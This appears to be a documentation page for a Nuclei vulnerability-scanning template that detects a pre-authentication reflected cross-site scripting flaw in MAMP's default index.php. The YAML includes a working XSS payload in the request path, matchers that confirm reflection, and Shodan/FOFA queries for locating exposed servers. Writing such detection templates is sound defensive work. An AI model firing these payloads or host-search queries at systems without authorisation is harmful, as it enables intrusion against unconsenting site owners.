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MAMP Server - Cross-Site Scripting

ID: mamp-server-xss

Severity: medium

Author: ritikchaddha

Tags: mamp,server,xss

Description

Section titled “Description”

A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server. The file /Applications/MAMP/htdocs/index.php is susceptible to malicious input, allowing attackers to inject JavaScript code that executes in the context of the victim’s browser. This vulnerability can be exploited without prior authentication.

YAML Source

Section titled “YAML Source”
id: mamp-server-xss


info:
  name: MAMP Server - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server. The file `/Applications/MAMP/htdocs/index.php` is susceptible to malicious input, allowing attackers to inject JavaScript code that executes in the context of the victim's browser. This vulnerability can be exploited without prior authentication.
  impact: |
    Exploiting this vulnerability can allow attackers to execute arbitrary JavaScript in the victim's browser.
  remediation: |
    Implement input validation and output encoding to sanitize user inputs. Apply the vendor-supplied patch or upgrade MAMP to a version where the vulnerability is resolved.
  reference:
    - https://octagon.net/blog/2022/01/26/mamp-server-preauth-xss-leading-to-host-compromise-0day/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MAMP"
    fofa-query: title="MAMP"
  tags: mamp,server,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php/test"%20onmouseover="alert(document.domain);"%20style="font-size:100000px;background-color:white";'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'MAMP'
          - 'test" onmouseover="alert(document.domain);" style'
        condition: and


      - type: word
        part: content_type
        words:
          - 'text/html'


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/mamp/mamp-server-xss.yaml"

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